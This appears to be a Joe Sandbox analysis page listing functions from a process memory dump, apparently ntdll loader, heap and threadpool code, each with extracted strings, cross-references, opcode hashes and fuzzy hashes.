Function 2073B440 Relevance: 5.2, Strings: 4, Instructions: 221COMMON

Download Yara Rule

Strings

LdrpResGetResourceDirectory Enter, xrefs: 2073B465
{, xrefs: 207937B6
LdrpResGetResourceDirectory Exit, xrefs: 2073B477
\Up , xrefs: 2073B5E0

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: LdrpResGetResourceDirectory Enter$LdrpResGetResourceDirectory Exit$\Up ${
API String ID: 0-1966259868
Opcode ID: ea6888e86e94c8240e0c8e0673e2be3bdea485c4505fa0fb54891b9a147a236d
Instruction ID: af56577d77ffd8f7ff8e2aa4cb98e85b5a6361b4fd4ab5053f3e74029f2892b3
Opcode Fuzzy Hash: ea6888e86e94c8240e0c8e0673e2be3bdea485c4505fa0fb54891b9a147a236d
Instruction Fuzzy Hash: B791DFB1A04649CFEB11DFD4D481BEE77B0FF04364F204195EA51AB292D7789E80CB91

Uniqueness

Uniqueness Score: -1.00%

Function 207364AB Relevance: 5.2, Strings: 4, Instructions: 211COMMON

Download Yara Rule

Strings

ThreadPool: callback %p(%p) returned with background priorities set, xrefs: 207910AE
ThreadPool: callback %p(%p) returned with a transaction uncleared, xrefs: 20790FE5
ThreadPool: callback %p(%p) returned with preferred languages set, xrefs: 2079106B
ThreadPool: callback %p(%p) returned with the loader lock held, xrefs: 20791028

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: ThreadPool: callback %p(%p) returned with a transaction uncleared$ThreadPool: callback %p(%p) returned with background priorities set$ThreadPool: callback %p(%p) returned with preferred languages set$ThreadPool: callback %p(%p) returned with the loader lock held
API String ID: 0-1468400865
Opcode ID: 2a067402285ab9b8f45f0e244506894a0723350edd1d85638a4038c1988996ad
Instruction ID: bcda46c0f990f7567121182bc660d386fa1ed5495b55126ba3474a09c2526c82
Opcode Fuzzy Hash: 2a067402285ab9b8f45f0e244506894a0723350edd1d85638a4038c1988996ad
Instruction Fuzzy Hash: A371CDB1904304DFDB10CF94C889F8B7BA9AF94764F508468F9488B257D734D698DBE2

Uniqueness

Uniqueness Score: -1.00%

Function 2075245A Relevance: 5.1, Strings: 4, Instructions: 111COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 2079A9A2
LdrpDynamicShimModule, xrefs: 2079A998
Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 2079A992
TGp , xrefs: 20752462

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$TGp $minkernel\ntdll\ldrinit.c
API String ID: 0-4075290705
Opcode ID: 6bdb6f4cd392dd9b85c510a3b16aadf2a9fde39e7947b22d7df74f9324de1686
Instruction ID: 2ca63ffaa109be52741822bbd547e5900820c84eb63f35fa15a01c9d7777cf83
Opcode Fuzzy Hash: 6bdb6f4cd392dd9b85c510a3b16aadf2a9fde39e7947b22d7df74f9324de1686
Instruction Fuzzy Hash: E0312671A00685FFD7109FD89C85FABB7B5FB84714F618029F901A72A1C7786D82DB90

Uniqueness

Uniqueness Score: -1.00%

Function 20729148 Relevance: 5.1, Strings: 4, Instructions: 100COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 2078BAA0, 2078BADD
VirtualProtect Failed 0x%p %x, xrefs: 2078BABA
VirtualQuery Failed 0x%p %x, xrefs: 2078BAF7
HEAP: , xrefs: 2078BAAD, 2078BAEA

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $VirtualProtect Failed 0x%p %x$VirtualQuery Failed 0x%p %x
API String ID: 0-1391187441
Opcode ID: a298a2655d6162789253d35be5bc684cda365bd977a0adbcb6e5e7af4a3058a6
Instruction ID: 0e21924339aef4d9751834d82ae906e700b2a3abdaccb13c1eb72ab6389d102d
Opcode Fuzzy Hash: a298a2655d6162789253d35be5bc684cda365bd977a0adbcb6e5e7af4a3058a6
Instruction Fuzzy Hash: 5331DE72A00509EFCB01CBD5D889F9AB7F9FF44760F248061F914AB291D730ED80DA61

Uniqueness

Uniqueness Score: -1.00%

Function 20771270 Relevance: 5.1, Strings: 4, Instructions: 97COMMON

Download Yara Rule

Strings

@, xrefs: 207712A5
BuildLabEx, xrefs: 2077130F
Ev , xrefs: 20771310, 20771320, 20771313, 20771325
\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 2077127B

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: @$BuildLabEx$Ev $\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 0-2841803843
Opcode ID: 4dd0507e6de23adeaafdd13239ae3a95ee5485203228978708ef77071a5cdf2e
Instruction ID: 5f5489ff1cf59dd8f27e3c289526eb07abc54e78f67dbe2d516f9b24326d1646
Opcode Fuzzy Hash: 4dd0507e6de23adeaafdd13239ae3a95ee5485203228978708ef77071a5cdf2e
Instruction Fuzzy Hash: 9A318F72900518EBDF119FE5CC45FAEBBB9EB947A0F108065FA14A7170E734DA05DB60

Uniqueness

Uniqueness Score: -1.00%

Function 207D94E0 Relevance: 4.3, Strings: 3, Instructions: 558COMMON

Download Yara Rule

Strings

, xrefs: 207D9B84
0, xrefs: 207D9BF6
, xrefs: 207D9AD7

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: $ $0
API String ID: 0-3352262554
Opcode ID: 63d00c1247023c618b555fb4040bd9fea64c2af78a139feb42b62430c4169fa9
Instruction ID: a682493f97b8c1af3e2869d3c1733d869f068a2812cfdedb3b26e7c64e42a7f7
Opcode Fuzzy Hash: 63d00c1247023c618b555fb4040bd9fea64c2af78a139feb42b62430c4169fa9
Instruction Fuzzy Hash: 913211B26083819FD350CFA8C884B9BFBE5BB88344F10492EF59987355D779E948CB52

Uniqueness

Uniqueness Score: -1.00%

Function 20731460 Relevance: 4.1, Strings: 3, Instructions: 385COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 20731712
HEAP: , xrefs: 20731596
HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 20731728

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: f90b626f1722ee574156ee8a4a55f15f3acb6b9d243fffea4b043daf9859ea7e
Instruction ID: 359f42f1858c4d703915556bd30a57d19b5c9d8b106568cbb35a04da6bb4e666
Opcode Fuzzy Hash: f90b626f1722ee574156ee8a4a55f15f3acb6b9d243fffea4b043daf9859ea7e
Instruction Fuzzy Hash: 66E1DF70A04645DFEB15CFA8C491BBABBF1AF88300F64856DE596CB246E738E940DB50

Uniqueness

Uniqueness Score: -1.00%

Function 2072A197 Relevance: 4.0, Strings: 3, Instructions: 238COMMON

Download Yara Rule

Strings

UseFilter, xrefs: 2072A1C1
FilterFullPath, xrefs: 2078C2E6
\??\, xrefs: 2078C1E4

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: FilterFullPath$UseFilter$\??\
API String ID: 0-2779062949
Opcode ID: b7320217c9802cb05d5bf6abfa1177f59f4843935357b3d82bd9181d5fac4081
Instruction ID: 2b39ce4d7dad2ec34980900f33bb30fa905996d1d9dbd080c23b8594cf0620d7
Opcode Fuzzy Hash: b7320217c9802cb05d5bf6abfa1177f59f4843935357b3d82bd9181d5fac4081
Instruction Fuzzy Hash: 9DA17A719026299BDB21DFA4CC88BDAB7B8FF44710F1041EAE90CA7250E7359E85DF51

Uniqueness

Uniqueness Score: -1.00%

Function 207B7410 Relevance: 4.0, Strings: 3, Instructions: 233COMMON

Download Yara Rule

Strings

Objects=%4u, xrefs: 207B75EA
Objects>%4u, xrefs: 207B75D5
VirtualAlloc, xrefs: 207B75FC

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: Objects=%4u$Objects>%4u$VirtualAlloc
API String ID: 0-3870751728
Opcode ID: 72db7dedcc6bf131b46ba2b80ac43d31cfeaa0495abc974054f27b4369c20bcb
Instruction ID: 0e744d12c6ba22e70ef21b7795774b3b33519ebef5ba9756632bd53bce220713
Opcode Fuzzy Hash: 72db7dedcc6bf131b46ba2b80ac43d31cfeaa0495abc974054f27b4369c20bcb
Instruction Fuzzy Hash: FA9128B0E006199FDB14CFA9C881BADBBF1BF48314F24C16AE905AB391E7759942CF54

Uniqueness

Uniqueness Score: -1.00%

Function 2076909C Relevance: 3.9, Strings: 3, Instructions: 199COMMON

Download Yara Rule

Strings

&, xrefs: 207A5CF8
@, xrefs: 20769148
%, xrefs: 207A5D3F

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: %$&$@
API String ID: 0-1537733988
Opcode ID: a418307846a5710faf4d921b35de257b92a7782c5efc1141490fb50e80eef20c
Instruction ID: ebc765dddd451038fa8283f928758a00df8fb3e0205586a2c5497a84509fe009
Opcode Fuzzy Hash: a418307846a5710faf4d921b35de257b92a7782c5efc1141490fb50e80eef20c
Instruction Fuzzy Hash: 6A71D170609346EFC708CFA0C994A0BBBE9BF95618F608A1DF89A97251D730D905CB92

Uniqueness

Uniqueness Score: -1.00%

Function 207515F4 Relevance: 3.9, Strings: 3, Instructions: 166COMMON

Download Yara Rule

Strings

LdrpCompleteMapModule, xrefs: 2079A590
Could not validate the crypto signature for DLL %wZ, xrefs: 2079A589
minkernel\ntdll\ldrmap.c, xrefs: 2079A59A

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
API String ID: 0-1676968949
Opcode ID: 165721ca1aa03c4d10be679cd751d3c6be682c8ccc824996733d13b1b154513c
Instruction ID: d5022e853ae434ba6815be8356620137c104bd3a504573624f781cfe8ad9a64a
Opcode Fuzzy Hash: 165721ca1aa03c4d10be679cd751d3c6be682c8ccc824996733d13b1b154513c
Instruction Fuzzy Hash: 5A51D070A02745EBE711CBD8C994F8A7BE4EB00714F5906A4FE519B6E2DB34ED45CB80

Uniqueness

Uniqueness Score: -1.00%

Function 207EC188 Relevance: 3.9, Strings: 3, Instructions: 123COMMON

Download Yara Rule

Strings

\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 207EC1C5
@, xrefs: 207EC1F1
PreferredUILanguages, xrefs: 207EC212

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: @$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
API String ID: 0-2968386058
Opcode ID: 6c2a5a021bc7466282f91e2f8f1a3d0c33a409a766876430a8354fd964b77266
Instruction ID: aae7f5bcbfca5aa68b11a86ff60d0134ce5786162627e0610b6963dc91f7834e
Opcode Fuzzy Hash: 6c2a5a021bc7466282f91e2f8f1a3d0c33a409a766876430a8354fd964b77266
Instruction Fuzzy Hash: 5A417F76E01219EBDB02CBD5C885FDEB7BCBB18744F10406AEA09B7290D7749E45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 207C4144 Relevance: 3.9, Strings: 3, Instructions: 121COMMON

Download Yara Rule

Strings

@, xrefs: 207C4225
LdrpResValidateFilePath Enter, xrefs: 207C4160
LdrpResValidateFilePath Exit, xrefs: 207C4172

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: @$LdrpResValidateFilePath Enter$LdrpResValidateFilePath Exit
API String ID: 0-1373925480
Opcode ID: c6c5675a4f04fb948ba59c450e658ac7a5e2af6337d70ef1a9cc61cffcc350a2
Instruction ID: bf5cd94a623b0564d001905878c10af447d3e01f45d976f2a01d729438e6f66b
Opcode Fuzzy Hash: c6c5675a4f04fb948ba59c450e658ac7a5e2af6337d70ef1a9cc61cffcc350a2
Instruction Fuzzy Hash: 87410172A00258CBEB22CBE4C885B9DBBB9FF65340F24046AE941EB791DB748941CB11

Uniqueness

Uniqueness Score: -1.00%

Function 2073A2C3 Relevance: 3.9, Strings: 3, Instructions: 118COMMON

Download Yara Rule

Strings

RtlpResUltimateFallbackInfo Enter, xrefs: 2073A2FB
PSp , xrefs: 2073A348
RtlpResUltimateFallbackInfo Exit, xrefs: 2073A309

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: PSp $RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
API String ID: 0-578859689
Opcode ID: 78c300205fb0a388d64b65fa3bbac17dfa9fd6b0ed5ed6401d4064c0c5673e6c
Instruction ID: e74a675291b9248f1a4c07579aa71d289eb8b1742a32c52ee7f12dfb01acec71
Opcode Fuzzy Hash: 78c300205fb0a388d64b65fa3bbac17dfa9fd6b0ed5ed6401d4064c0c5673e6c
Instruction Fuzzy Hash: B141AB71A04649EBEB01DFA9D885F6E77F4EF94700F2040A9E904DB2A2E379DE01CB50

Uniqueness

Uniqueness Score: -1.00%

Function 207633A0 Relevance: 3.9, Strings: 3, Instructions: 111COMMON

Download Yara Rule

Strings

SXS: %s() passed the empty activation context data, xrefs: 207A29FE
RtlCreateActivationContext, xrefs: 207A29F9
Actx , xrefs: 207633AC

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: Actx $RtlCreateActivationContext$SXS: %s() passed the empty activation context data
API String ID: 0-859632880
Opcode ID: c1d1c04e2f58f987c25cab142235d7b0ff3a8482d0bcd8bd9c032ecb57e9c2f1
Instruction ID: fa28c9b9eee761839aa9dbae7ce148386ff334aaceb22bd5a130310e0f329fbb
Opcode Fuzzy Hash: c1d1c04e2f58f987c25cab142235d7b0ff3a8482d0bcd8bd9c032ecb57e9c2f1
Instruction Fuzzy Hash: 0F31EE32600245DBDB16CF98D8C4FAABBA4BB54720F218469FD15AF296CB34DD42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 207B20DE Relevance: 3.8, Strings: 3, Instructions: 41COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 207B2104
Process initialization failed with status 0x%08lx, xrefs: 207B20F3
LdrpInitializationFailure, xrefs: 207B20FA

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: LdrpInitializationFailure$Process initialization failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
API String ID: 0-2986994758
Opcode ID: 59bdf9c31447048824265a9885ce1c33e1b08e0d788344ed6d06cfd06b90d4b5
Instruction ID: c64f7be2291fbe40f8ed88e74aaea9c9f86459f2b41b91300b0e7d9c4b2e61a5
Opcode Fuzzy Hash: 59bdf9c31447048824265a9885ce1c33e1b08e0d788344ed6d06cfd06b90d4b5
Instruction Fuzzy Hash: BDF0227060024CEFDB10D7CCCC97F9A77A8FB50B48F104028FA056B291D2B0A942CA80

Uniqueness

Uniqueness Score: -1.00%

Function 207403E9 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 20794D8A

Strings

#%u, xrefs: 20794D82

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID: ___swprintf_l
String ID: #%u
API String ID: 48624451-232158463
Opcode ID: 311c7890af36a959ac725929a3ef47da271a3f4af2fdd31ec1ff73d907341f90
Instruction ID: 296804e6b1b0d1e0448cfad7767211e8078522be91a5c9e4ed8cc43ad6df42d3
Opcode Fuzzy Hash: 311c7890af36a959ac725929a3ef47da271a3f4af2fdd31ec1ff73d907341f90
Instruction Fuzzy Hash: D4711571E0014ADFDB01CBE8D995FAEB7F8BF18744F144065EA05A7251EA38EE41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 207452A0 Relevance: 3.2, Strings: 2, Instructions: 658COMMON

Download Yara Rule

Strings

@, xrefs: 207455A3
@, xrefs: 20745445

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: @$@
API String ID: 0-149943524
Opcode ID: 8652ce2bfb581d49517a1220bf44f907608c6de133a8450945a93b8f4a3c0a55
Instruction ID: 470595627d7a37434b3cf47c53f63d7f1cbbb97fe20df14e6b78db64b89ad290
Opcode Fuzzy Hash: 8652ce2bfb581d49517a1220bf44f907608c6de133a8450945a93b8f4a3c0a55
Instruction Fuzzy Hash: A9327B74A083518BC724CF94C480B2EB7F1EF89B84F514A2EFA959B292E734DD44DB52

Uniqueness

Uniqueness Score: -1.00%

Function 207FA352 Relevance: 2.8, Strings: 2, Instructions: 348COMMON

Download Yara Rule

Strings

`, xrefs: 207FA551
`, xrefs: 207FA44B

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: `$`
API String ID: 0-197956300
Opcode ID: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
Instruction ID: 62e0dee61942f59148a34f202872344ab5dcd12248a9ba11f4690d80953a5299
Opcode Fuzzy Hash: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
Instruction Fuzzy Hash: ABC1E1B120434AABDB14CFA8C849B2BBBE5BF94354F144A2CF695CB3A0D774D905CB52

Uniqueness

Uniqueness Score: -1.00%

Function 207304E5 Relevance: 2.7, Strings: 2, Instructions: 153COMMON

Download Yara Rule

Strings

kLsE, xrefs: 20730540
TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 2073063D

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
API String ID: 0-2547482624
Opcode ID: c408fde31ee81b8c814216c1cb07e24f9fcacf92f64adbb4277d2c47accf91ee
Instruction ID: 936da19e11e08faf758deccb84dd60e9739ea7c043a641696c7467a992262513
Opcode Fuzzy Hash: c408fde31ee81b8c814216c1cb07e24f9fcacf92f64adbb4277d2c47accf91ee
Instruction Fuzzy Hash: 14518B71904742CFE314DFA4C595B97B7E4AF84304F00883EEAAA87242E7749A55CFD2

Uniqueness

Uniqueness Score: -1.00%

Function 207C35BA Relevance: 2.6, Strings: 2, Instructions: 99COMMON

Download Yara Rule

Strings

LdrResGetRCConfig Exit, xrefs: 207C35FE
LdrResGetRCConfig Enter, xrefs: 207C35EC

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit
API String ID: 0-118005554
Opcode ID: ce96b1bc722391baf418ff9896d80b0c9beff1b5230b3c99585a7b4a2bcf48d2
Instruction ID: f862fd86f4b57f75be4b088c14ce130ece6161bc9340f5ad357e453d3c8f504e
Opcode Fuzzy Hash: ce96b1bc722391baf418ff9896d80b0c9beff1b5230b3c99585a7b4a2bcf48d2
Instruction Fuzzy Hash: DC31DC31609781EFD301CFA8E888B2AB7E4EF95750F100969F954DB390EB34D905CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 2076329E Relevance: 2.6, Strings: 2, Instructions: 93COMMON

Download Yara Rule

Strings

@, xrefs: 2076330D
.Local\, xrefs: 207632B5

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: .Local\$@
API String ID: 0-380025441
Opcode ID: 55901317f2dd30459d653bc0684e19e965d5f4530d9cbac0b37c47be6b45b6f7
